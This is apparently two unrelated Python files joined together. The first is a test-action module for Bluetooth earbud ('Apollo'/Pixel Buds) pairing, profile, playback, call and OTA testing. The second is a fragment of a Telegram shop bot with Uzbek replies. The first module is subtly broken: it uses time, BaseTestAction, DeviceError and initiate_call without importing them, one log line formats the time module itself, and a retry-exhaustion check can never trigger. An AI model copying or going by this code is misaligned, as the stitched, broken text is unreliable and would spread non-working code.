from acts.controllers.buds_lib.test_actions.base_test_actions import timed_action
from acts.controllers.buds_lib.test_actions.bt_utils import BTUtils
from acts.libs.utils.timer import TimeRecorder
from acts.utils import wait_until

PACKAGE_NAME_AGSA = 'com.google.android.googlequicksearchbox'
PACKAGE_NAME_GMS = 'com.google.android.gms'
PACKAGE_NAME_NEARBY = 'com.google.android.gms.policy_nearby'
PACKAGE_NAME_SETTINGS = 'com.android.settings'
BISTO_MP_DETECT_HEADER = 'Pixel Buds'
BISTO_MP_DEVICE_TEXT = 'Pixel Buds'
BISTO_MP_DETECT_TEXT = BISTO_MP_DETECT_HEADER + BISTO_MP_DEVICE_TEXT
BISTO_MP_CANCEL_TEXT = 'CANCEL'
BISTO_MP_CONNECT_TEXT = 'TAP TO CONNECT'
BISTO_MP_CONNECT_FAIL_TEXT = 'Can\'t connect to'
BISTO_MP_CONNECT_RETRY_TEXT = 'TRY AGAIN'
BISTO_MP_CONNECTED_TEXT = 'Now set up your Google Assistant'
BISTO_MP_CONNECTED_EXIT_TEXT = 'NO THANKS'
BISTO_MP_EXIT_PROMPT_TEXT = 'Exit setup?'
BISTO_MP_EXIT_CONFIRM_TEXT = 'EXIT'
PROFILES_CONNECTED = {
    'HFP(pri.)': 'TRUE',
    'A2DP(pri)': 'TRUE',
}
PROFILES_DISCONNECTED = {
    'HFP(pri.)': 'FALSE',
    'A2DP(pri)': 'FALSE',
}
COMP_PROFILE_CONNECTED = {'Comp': 'TRUE'}
COMP_PROFILE_DISCONNECTED = {'Comp': 'FALSE'}
AVRCPSTATUS = 'AvrcpPlayPause'
DEFAULT_TIMEOUT = 60  # wait 60 seconds max for bond/connect.
DEFAULT_CMD_INTERVAL = 0.5  # default interval between serial commands
DEFAULT_CMD_RETRY = 5  # default retry times when a command failed.
DEFAULT_BT_PROFILES = [
    'HFP Pri', 'HFP Sec', 'A2DP Pri', 'A2DP Sec', 'CTRL', 'AUDIO', 'DEBUG',
    'TRANS'
]
DEFAULT_BT_STATUS = ['A2DP(pri)', 'HFP(pri.)', 'Comp']

class TestActsError(Exception):
    """Exception from Apollo Acts Error."""

class ApolloTestActions(BaseTestAction):
    """Test action class for all Apollo test actions."""

    def __init__(self, apollo_dev, logger=None):
        """
        Args:
             apollo_dev: apollo.lib.apollo_lib.Device the Apollo device
        """
        super(ApolloTestActions, self).__init__(logger)
        self.dut = apollo_dev
        # need a embedded timer for connection time measurements.
        self.measurement_timer = TimeRecorder()

    def bluetooth_get_status(self):
        status = self.dut.get_bt_status()
        self.logger.info(status)

    def wait_for_bluetooth_disconnection(self, timeout=60):
        """ Set pairing mode and disconnect.

        This action will wait until the apollo profiles are false.

        Args:
             timeout: integer, timeout value in seconds.
        """
        result = True
        apollo_status = self.dut.get_bt_status()
        self.logger.info('Waiting for the disconnection.')
        time.sleep(1)
        ini_time = time.time()
        while len(apollo_status) != len(
            [s for s in apollo_status.values() if s == 'FALSE']):
            apollo_status = self.dut.get_bt_status()
            if (time.time() - ini_time) > timeout:
                self.logger.warning('Timeout waiting for the disconnection.')
                return False
            time.sleep(1)
        return result

    def pair(self, phone, companion_app=True):
        """Pairs phone with apollo and validates bluetooth profiles.

        Args:
            phone: android phone
            apollo: apollo device
            companion_app (optional): True if the phone has a companion app
                                      installed. False otherwise.

        Raises:
            TestActsError: Bluetooth pairing failed/ Dut BT status check failed.
        """
        bt_util = BTUtils()
        target_addr = self.dut.bluetooth_address
        if bt_util.android_device_in_connected_state(phone, target_addr):
            self.logger.info('Already paired and connected, skipping pairing.')
        else:
            if bt_util.android_device_in_paired_state(phone, target_addr):
                self.logger.info(
                    'Device is paired but not connected, unpair first.')
                if not bt_util.bt_unpair(phone, self.dut):
                    raise TestActsError('Unable to unpair the device')
            bt_util.bt_pair_and_connect(phone, self.dut)
            self.logger.info('DEVICE PAIRED')
            if companion_app:
                profiles = PROFILES_CONNECTED.copy()
                profiles.update(COMP_PROFILE_CONNECTED)
            else:
                profiles = PROFILES_CONNECTED
            self.logger.info(profiles)
            if not bt_util.check_device_bt(device=self.dut, profiles=profiles):
                raise TestActsError('Dut BT status check failed.')
            else:
                return True

    def unpair(self, phone, companion_app=True, factory_reset_dut=True):
        """Unpairs phone from apollo and validates bluetooth profiles.

        Args:
            phone: android phone
            apollo: apollo device
            companion_app (optional): True if the phone has a companion app
                                      installed. False otherwise.

        Raises:
            TestActsError: Bluetooth unpairing/Dut BT status check failed.
        """
        bt_util = BTUtils()
        target_addr = self.dut.bluetooth_address
        if not bt_util.android_device_in_paired_state(phone, target_addr):
            self.logger.info('Device is already unpaired, skipping unpairing.')
        else:
            result = bt_util.bt_unpair(
                phone, self.dut, factory_reset_dut=factory_reset_dut)
            if not result:
                raise TestActsError('Bluetooth unpairing failed.')
            if companion_app:
                profiles = PROFILES_DISCONNECTED.copy()
                profiles.update(COMP_PROFILE_DISCONNECTED)
            else:
                profiles = PROFILES_DISCONNECTED
            if not bt_util.check_device_bt(device=self.dut, profiles=profiles):
                raise TestActsError('Dut BT status check failed.')
            else:
                return True

    def is_paired(self, phone):
        """Check if the given apollo is paired with the android device.

        Args:
            phone: android phone
            apollo: apollo device

        Returns:
            Bool: True if apollo is paired with the phone.
        """
        bt_util = BTUtils()
        target_addr = self.dut.bluetooth_address
        return bt_util.android_device_in_paired_state(phone, target_addr)

    def send_music_play_event_and_validate(self):
        """Send the play event on Apollo and validate the response and DSP
        Status.

        Raises:
            TestActsError: Error while playing the music.
        """
        play_detection_timeout = 1
        if self.dut.is_streaming():
            self.logger.info('Music already streaming. Skipping play event..')
            return
        self.logger.info('Playing video...')
        is_played = self.dut.music_control_events(
            AVRCPSTATUS, self.dut.apollo_log_regex.AVRCP_PLAY_REGEX)
        if not is_played:
            self.logger.error('AVRCP Played status not found')
            raise TestActsError('AVRCP Played status not found.')
        wait_until(
            lambda: self.dut.is_streaming(),
            play_detection_timeout,
            sleep_s=0.25)
        if not self.dut.is_streaming():
            self.logger.error('Device is NOT in a deviceA2DPStreaming state')
            raise TestActsError(
                'Device is NOT in a deviceA2DPStreaming state.')

    def send_music_pause_event_and_validate(self):
        """Send the pause event on Apollo and validate the responses and DSP
        Status.

        Raises:
            TestActsError: Error while pausing the music.
        """
        paused_detection_timeout = 10
        if not self.dut.is_streaming():
            self.logger.info('Music not streaming. Skipping pause event..')
            return
        self.logger.info("Pausing video...")
        is_paused = self.dut.music_control_events(
            AVRCPSTATUS, self.dut.apollo_log_regex.AVRCP_PAUSE_REGEX)
        if not is_paused:
            self.logger.error('AVRCP Paused statue not found')
            raise TestActsError('AVRCP Paused status not found.')
        wait_until(
            lambda: not self.dut.is_streaming(),
            paused_detection_timeout,
            sleep_s=0.25)
        if self.dut.is_streaming():
            self.logger.error('Device is still in deviceA2DPStreaming state')
            raise TestActsError(
                'Device is still in deviceA2DPStreaming state.')

    def vol_down_and_validate(self):
        """Send volume down twice and validate by comparing two levels

        Raises:
            TestActsError: Error
        """
        self.logger.info('Decreasing volume')
        before_vol = self.dut.volume('Down', 1)
        time.sleep(2)
        after_vol = self.dut.volume('Down', 1)
        if not after_vol or not before_vol or after_vol >= before_vol:
            self.logger.error(
                'Unable to decrease the volume. Before: %s. After: %s' %
                (before_vol, after_vol))
            raise TestActsError('error decreasing volume')

    def vol_up_and_validate(self):
        """Send volume up twice and validate by comparing two levels

        Raises:
            TestActsError: Error
        """
        self.logger.info('Increasing volume')
        before_vol = self.dut.volume('Up', 1)
        time.sleep(2)
        after_vol = self.dut.volume('Up', 1)
        if not after_vol or not before_vol or after_vol <= before_vol:
            self.logger.error(
                'Unable to increase the volume. Before: %s. After: %s' %
                (before_vol, after_vol))
            raise TestActsError('error increasing volume')

    def call_and_validate_ringing(self,
                                  calling_phone,
                                  number_to_call,
                                  call_retries=10):
        for i in range(call_retries):
            initiate_call(self.logger, calling_phone, number_to_call)
            is_calling = wait_for_droid_in_call(
                self.logger, calling_phone, max_time=10)
            if is_calling:
                self.logger.info('Call initiated!')
                break
            else:
                self.logger.warning('Call is not initiating.')
                if i == call_retries:
                    self.logger.error('Call initiation retries exhausted')
                    raise TestActsError(
                        '%s retries failed to initiate the call' %
                        (call_retries))
            self.logger.warning('Retrying call...')
        # wait for offhook state and return
        wait_until(
            (lambda: calling_phone.droid.telecomGetCallState() == 'OFFHOOK'),
            timeout_s=40,
            condition=True,
            sleep_s=.5)
        self.logger.info('Phone call initiated on %s' % calling_phone.serial)

    def answer_phone_and_validate_call_received(self, receiving_phone):
        # wait until the phone rings (assumes that a call is initiated prior to
        # running the command)
        wait_until(
            lambda: receiving_phone.droid.telecomGetCallState() == 'RINGING',
            timeout_s=40,
            condition=True,
            sleep_s=.5)
        self.logger.info('Ring detected on %s - now answering the call...' %
                         (receiving_phone.serial))
        # answer the phone call
        self.dut.tap()
        # wait until OFFHOOK state
        wait_until(
            lambda: receiving_phone.droid.telecomGetCallState() == 'OFFHOOK',
            timeout_s=40,
            condition=True,
            sleep_s=.5)

    def hangup_phone_and_validate_call_hung(self, receiving_phone):
        # wait for phone to be in OFFHOOK state (assumed that a call is answered
        # and engaged)
        wait_until(
            lambda: receiving_phone.droid.telecomGetCallState() == 'OFFHOOK',
            timeout_s=40,
            condition=True,
            sleep_s=.5)
        # end the call (post and pre 1663 have different way of ending call)
        self.logger.info(
            'Hanging up the call on %s...' % receiving_phone.serial)
        if self.dut.version < 1663:
            self.dut.tap()
        else:
            self.dut.hold(duration=100)
        # wait for idle state
        wait_until(
            lambda: receiving_phone.droid.telecomGetCallState() == 'IDLE',
            timeout_s=40,
            condition=True,
            sleep_s=.5)

    @timed_action
    def factory_reset(self):
        ret = False
        try:
            self.dut.factory_reset()
            ret = True
        except DeviceError as ex:
            self.logger.warning('Failed to reset Apollo: %s' % ex)
        return ret

    @timed_action
    def wait_for_magic_pairing_notification(self, android_act, timeout=60):
        dut_detected = False
        start_time = time.time()
        self.logger.info('Waiting for MP prompt: %s' % BISTO_MP_DEVICE_TEXT)
        while not dut_detected:
            android_act.dut.ui_util.uia.wait.update()
            self.sleep(1)
            if android_act.dut.ui_util.uia(
                    textContains=BISTO_MP_DETECT_HEADER, enabled=True).exists:
                if android_act.dut.ui_util.uia(
                        textContains=BISTO_MP_DEVICE_TEXT,
                        enabled=True).exists:
                    self.logger.info('DUT Apollo MP prompt detected!')
                    dut_detected = True
                else:
                    self.logger.info(
                        'NONE DUT Apollo MP prompt detected! Cancel and RETRY!'
                    )
                    android_act.dut.ui_util.click_by_text(BISTO_MP_CANCEL_TEXT)
            if time.time() - start_time > timeout:
                break
        if not dut_detected:
            self.logger.info(
                'Failed to get %s MP prompt' % BISTO_MP_DEVICE_TEXT)
        return dut_detected

    @timed_action
    def start_magic_pairing(self, android_act, timeout=30, retries=3):
        paired = False
        android_act.dut.ui_util.click_by_text(
            BISTO_MP_CONNECT_TEXT, timeout=timeout)
        connect_start_time = time.time()
        count = 0
        timeout = 30

        while not paired and count < retries:
            android_act.dut.ui_util.uia.wait.update()
            self.sleep(1)
            if time.time() - connect_start_time > timeout:
                self.logger.info('Time out! %s seconds' % time)
                android_act.app_force_close_agsa()
                self.logger.info('Timeout(s): %s' % timeout)
                break
            if android_act.dut.ui_util.uia(
                    textContains=BISTO_MP_CONNECT_FAIL_TEXT,
                    enabled=True).exists:
                count += 1
                self.logger.info('MP FAILED! Retry %s.' % count)
                android_act.dut.ui_util.click_by_text(
                    BISTO_MP_CONNECT_RETRY_TEXT)
                connect_start_time = time.time()
            elif android_act.dut.ui_util.uia(
                    textContains=BISTO_MP_CONNECTED_TEXT, enabled=True).exists:
                self.logger.info('MP SUCCESSFUL! Exiting AGSA...')
                paired = True
                android_act.dut.ui_util.click_by_text(
                    BISTO_MP_CONNECTED_EXIT_TEXT)
                android_act.dut.ui_util.wait_for_text(
                    BISTO_MP_EXIT_PROMPT_TEXT)
                android_act.dut.ui_util.click_by_text(
                    BISTO_MP_EXIT_CONFIRM_TEXT)
        return paired

    @timed_action
    def turn_bluetooth_on(self):
        self.dut.cmd('pow 1')
        return True

    @timed_action
    def turn_bluetooth_off(self):
        self.dut.cmd('pow 0')
        return True

    @timed_action
    def wait_for_bluetooth_a2dp_hfp(self,
                                    timeout=DEFAULT_TIMEOUT,
                                    interval=DEFAULT_CMD_INTERVAL):
        """Wait for BT connection by checking if A2DP and HFP connected.

        This is used for BT pair+connect test.

        Args:
            timeout: float, timeout value in second.
            interval: float, float, interval between polling BT profiles.
            timer: TimeRecorder, time recorder to save the connection time.
        """
        # Need to check these two profiles
        pass_profiles = ['A2DP Pri', 'HFP Pri']
        # TODO(b/122730302): Change to just raise an error
        ret = False
        try:
            ret = self._wait_for_bluetooth_profile_connection(
                pass_profiles, timeout, interval, self.measurement_timer)
        except DeviceError as ex:
            self.logger.warning('Failed to wait for BT connection: %s' % ex)
        return ret

    def _wait_for_bluetooth_profile_connection(self, profiles_to_check,
                                               timeout, interval, timer):
        """A generic method to wait for specified BT profile connection.

        Args:
            profiles_to_check: list, profile names (A2DP, HFP, etc.) to be
                               checked.
            timeout: float, timeout value in second.
            interval: float, interval between polling BT profiles.
            timer: TimeRecorder, time recorder to save the connection time.

        Returns:
            bool, True if checked profiles are connected, False otherwise.
        """
        timer.start_timer(profiles_to_check, force=True)
        start_time = time.time()
        while time.time() - start_time < timeout:
            profiles = self._bluetooth_check_profile_connection()
            for profile in profiles:
                if profiles[profile]:
                    timer.stop_timer(profile)
            # now check if the specified profile connected.
            all_connected = True
            for profile in profiles_to_check:
                if not profiles[profile]:
                    all_connected = False
                    break
            if all_connected:
                return True
            time.sleep(interval)
        # make sure the profile timer are stopped.
        timer.stop_timer(profiles_to_check)
        return False

    def _bluetooth_check_profile_connection(self):
        """Return profile connection in a boolean dict.

        key=<profile name>, val = T/F
        """
        profiles = dict()
        output = self.dut.get_conn_devices()
        # need to strip all whitespaces.
        conn_devs = {}

        for key in output:
            conn_devs[key.strip()] = output[key].strip()
        for key in conn_devs:
            self.logger.info('%s:%s' % (key, conn_devs[key]))
            if 'XXXXXXXX' in conn_devs[key]:
                profiles[key] = conn_devs[key]
            else:
                profiles[key] = False
        return profiles

    @timed_action
    def wait_for_bluetooth_status_connection_all(
            self, timeout=DEFAULT_TIMEOUT, interval=DEFAULT_CMD_INTERVAL):
        """Wait for BT connection by checking if A2DP, HFP and COMP connected.

        This is used for BT reconnect test.

        Args:
            timeout: float, timeout value in second.
            interval: float, float, interval between polling BT profiles.
        """
        ret = False
        self.measurement_timer.start_timer(DEFAULT_BT_STATUS, force=True)
        # All profile not connected by default.
        connected_status = {key: False for key in DEFAULT_BT_STATUS}
        start_time = time.time()
        while time.time() < start_time + timeout:
            try:
                time.sleep(interval)
                status = self.dut.get_bt_status()
                for key in DEFAULT_BT_STATUS:
                    if (not connected_status[key] and key in status
                            and 'TRUE' == status[key]):
                        self.measurement_timer.stop_timer(key)
                        connected_status[key] = True
                        self.logger.info(
                            'BT status %s connected at %fs.' %
                            (key, self.measurement_timer.elapsed(key)))
                if False not in connected_status.values():
                    ret = True
                    break
            except DeviceError as ex:
                self.logger.warning(
                    'Device exception when waiting for reconnection: %s' % ex)
        self.measurement_timer.stop_timer(DEFAULT_BT_STATUS)
        return ret

    def initiate_ota_via_agsa_verify_transfer_completion_in_logcat(
            self,
            agsa_action,
            dfu_path,
            destination=None,
            force=True,
            apply_image=True,
            reconnect=True):
        """
        Starts an OTA by issuing an intent to AGSA after copying the dfu file to
        the appropriate location on the phone

        Args:
            agsa_action: projects.agsa.lib.test_actions.agsa_acts
                         .AgsaTestActions
            dfu_path: string - absolute path of dfu file
            destination: string - absolute path of file on phone if not
                         specified will use
                         /storage/emulated/0/Android/data/com.google.android
                         .googlequicksearchbox/files/download_cache/apollo.dfu
            force: value set in the intent sent to AGSA
            True if success False otherwise
        """
        try:
            agsa_action.initiate_agsa_and_wait_until_transfer(
                dfu_path, destination=destination, force=force)
            if apply_image:
                # set in case
                self.dut.set_in_case(reconnect=reconnect)
        except AgsaOTAError as ex:
            self.logger.error('Failed to OTA via AGSA %s' % ex)
            return False
        except DeviceError as ex:
            self.logger.error('Failed to bring up device %s' % ex)
            return False
        return True

    @timed_action
    def wait_for_bluetooth_a2dp_hfp_rfcomm_connect(
            self, address, timeout=DEFAULT_TIMEOUT,
            interval=DEFAULT_CMD_INTERVAL):
        """Wait for BT reconnection by checking if A2DP, HFP and COMP connected
        to the specified address.

        This is used for BT connection switch test.

        Args:
            address: str, MAC of the address to connect.
            timeout: float, timeout value in second.
            interval: float, float, interval between polling BT profiles.

        Returns:
            True if the specified address is connected. False otherwise.
        """
        last_4_hex = address.replace(':', '')[-4:].lower()
        profiles_to_check = ['HFP Pri', 'A2DP Pri', 'CTRL', 'AUDIO']
        self.measurement_timer.start_timer(profiles_to_check, force=True)
        end_time = time.time() + timeout
        all_connected = True
        while time.time() < end_time:
            all_connected = True
            profiles = self._bluetooth_check_profile_connection()
            for profile in profiles_to_check:
                if (profile in profiles and profiles[profile]
                        and last_4_hex in profiles[profile].lower()):
                    self.measurement_timer.stop_timer(profile)
                else:
                    all_connected = False
            if all_connected:
                break
            time.sleep(interval)
        # make sure the profile timer are stopped.
        self.measurement_timer.stop_timer(profiles_to_check)

        return all_connected


from aiogram import types
from states.main import ShopState
from loader import dp, db
from aiogram.dispatcher.storage import FSMContext
from keyboards.default.menu import back_btn, cart_btn
from aiogram.types import ReplyKeyboardMarkup, KeyboardButton

@dp.message_handler(text="PHONE 📱", state="*")
async def bot_echo(message: types.Message, state: FSMContext):
    # await state.finish()
    cats_markup = ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)
    cats_markup.add(back_btn, cart_btn)
    cats = db.select_all_cats()
    for cat in cats:
        cats_markup.insert(KeyboardButton(text=cat[1]))

    user_id = message.from_user.id
    cart_id = db.select_cart(user_id=user_id)[0]
    await state.update_data({"cart_id": cart_id})
    await message.answer("<b>O'zingizga kerakli bo'limni tanlang</b> 🌐\n\nSizni qaysi turdagi telefon qiziqtiryabdi? 🧐", reply_markup=cats_markup)
    await ShopState.category.set()

@dp.message_handler(text="Sozlamalar ⚙", state="*")
async def bot_echo(message: types.Message, state: FSMContext):
    username = message.from_user.first_name
    await message.reply("bu bo'lim tez orada qo'shiladi 🤩")
    await message.answer(f"{username}, kechirasiz, xali bu bolim ishga tushmadi 😔")

@dp.message_handler(text="Hamyonim 💰", state="*")
async def bot_echo(message: types.Message, state: FSMContext):
    username = message.from_user.first_name
    await message.reply("bu bo'lim tez orada qo'shiladi 🤩")
    await message.answer(f"{username}, kechirasiz, xali bu bo'lim ishga tushmadi 😔")